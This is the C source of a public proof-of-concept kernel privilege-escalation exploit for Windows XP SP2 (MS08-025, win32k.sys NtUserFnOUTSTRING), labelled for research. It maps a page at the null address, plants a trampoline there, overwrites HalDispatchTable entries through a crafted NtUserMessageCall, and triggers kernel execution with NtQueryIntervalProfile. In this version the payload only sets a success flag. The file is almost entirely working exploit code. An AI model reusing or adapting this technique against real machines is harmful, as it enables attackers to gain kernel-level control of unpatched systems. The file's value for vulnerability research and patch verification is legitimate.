// ms08-25-exploit #1
// This exploit takes advantage of one of the vulnerabilities 
// patched in the  Microsoft Security bulletin MS08-25
// http://www.microsoft.com/technet/security/bulletin/ms08-025.mspx
// ---------------------------------------
// Modifications are strictly prohibited.
// For research purposes ONLY.
// ---------------------------------------
// Ruben Santamarta 
// www.reversemode.com

#include "stdafx.h"


BOOL FlagVulnerable = FALSE;

typedef enum _KPROFILE_SOURCE {


    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum

} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

typedef DWORD (WINAPI *PNTQUERYINTERVAL)(  KPROFILE_SOURCE ProfileSource,
										   PULONG          Interval );

typedef NTSTATUS (WINAPI *PNTALLOCATE)(	IN HANDLE               ProcessHandle,
										IN OUT PVOID            *BaseAddress,
										IN ULONG                ZeroBits,
										IN OUT PULONG           RegionSize,
										IN ULONG                AllocationType,
										IN ULONG                Protect );

_declspec(naked) int ShellCode()
{
	_asm{
		mov FlagVulnerable,1
		mov eax,0xC0000138
		retn 0x10
	}
}

_declspec(naked) ULONG __stdcall NtUserMessageCall
(
	IN HWND arg1,
    IN ULONG_PTR arg2,
    IN ULONG_PTR arg3,
    IN ULONG_PTR arg4,
    IN ULONG_PTR arg5,
    IN ULONG_PTR arg6,
	IN ULONG_PTR arg7
)
{
	__asm
	{
		mov eax, 000011cch
		mov edx, 7ffe0300h
		call dword ptr [edx]
		retn 1Ch
	}
}


void InitTrampoline()
{

	PNTALLOCATE NtAllocateVirtualMemory;
	LPVOID		 addr = (LPVOID)3;
	DWORD		dwShellSize=0x1000;
	unsigned char trampoline[]="\x68\x00\x00\x00\x00"
							   "\xc3";

	NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");
	
	if( !NtAllocateVirtualMemory ) 
		exit(0);	
	
	NtAllocateVirtualMemory(	(HANDLE)-1, 
								&addr, 
								0,
								&dwShellSize,
								MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, 
								PAGE_EXECUTE_READWRITE );

	if( (ULONG_PTR)addr )
	{
		printf("\n[++] Error Allocating memory\n");
		exit(0);	
	}

	*(ULONG_PTR*)(trampoline+1)=(ULONG_PTR)ShellCode;
	memcpy(NULL,trampoline,sizeof(trampoline)-1);

	
}
 int Callback_Overview()
{
	printf("\n");
	printf("=====================================================================	\n");
	printf("\t\tMicrosoft Windows XP SP2  - MS08-025 -		\n");
	printf("\twin32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit	\n");
	printf("=====================================================================	\n");
	printf("+ References:\n");
	printf("  http://www.microsoft.com/technet/security/bulletin/ms08-025.mspx\n");
	printf("  http://www.reversemode.com\n\n");
	return 1;
}

int main(int argc, char **argv)
{
	

	PNTQUERYINTERVAL	NtQueryIntervalProfile;
	KPROFILE_SOURCE	stProfile = ProfileTotalIssues;

	ULONG_PTR	HalDispatchTable;
	ULONG_PTR	BaseNt=0;
	ULONG_PTR	result;
	
	HMODULE		hKernel;
	char		szNtos[MAX_PATH] = {0};

	
	Callback_Overview();

	LoadLibrary("user32.dll");

	if( GetDriverInfoByName("krnl",szNtos,&BaseNt) )
	{
		printf("[+] %s loaded at   \t [ 0x%p ]\n",szNtos,BaseNt);
		
	}
	else 
	{
		printf("[!!] Kernel not found :?\n");
		return FALSE;
	}

	if( strstr(szNtos,"krnlpa") )
	{
		hKernel = LoadLibraryExA("ntkrnlpa.exe",0,1);	
	}
	else
	{
		hKernel = LoadLibraryExA("ntoskrnl.exe",0,1);
	}	

	HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel, "HalDispatchTable");

	if( !HalDispatchTable )
	{
		printf("[!!] HalDispatchTable not found\n");
		return FALSE;
	}

	HalDispatchTable -= ( ULONG_PTR )hKernel;
	HalDispatchTable += BaseNt;

	printf("[+] HalDispatchTable found    \t\t\t [ 0x%p ]\n",HalDispatchTable);
	
	printf("[+] NtQueryIntervalProfile ");

	NtQueryIntervalProfile = ( PNTQUERYINTERVAL ) 
							GetProcAddress(	GetModuleHandle("ntdll.dll")
											,"NtQueryIntervalProfile");
	
	if( !NtQueryIntervalProfile )
	{
		printf("[!!] Unable to resolve NtQueryIntervalProfile\n");
		return FALSE;
	}
	printf( "\t\t\t [ 0x%p ]\n",NtQueryIntervalProfile ); 
	
	InitTrampoline();

	NtUserMessageCall(	GetDesktopWindow(),
						0xD,
						0x80000000,
						HalDispatchTable+sizeof(WORD)+sizeof(ULONG_PTR),
						0x0,
						0x0,
						0x0);
	NtUserMessageCall(	GetDesktopWindow(),
						0xD,
						0x80000000,
						HalDispatchTable+sizeof(ULONG_PTR),
						0x0,
						0x0,
						0x0);
	printf("\n[+] Executing Shellcode...");
	
	NtQueryIntervalProfile(stProfile,&result);


	if(FlagVulnerable)
		printf("OK!\n");
	else
		printf("FAILED!\n");
	
	printf("[+] Exiting...\n");

	return TRUE;
}

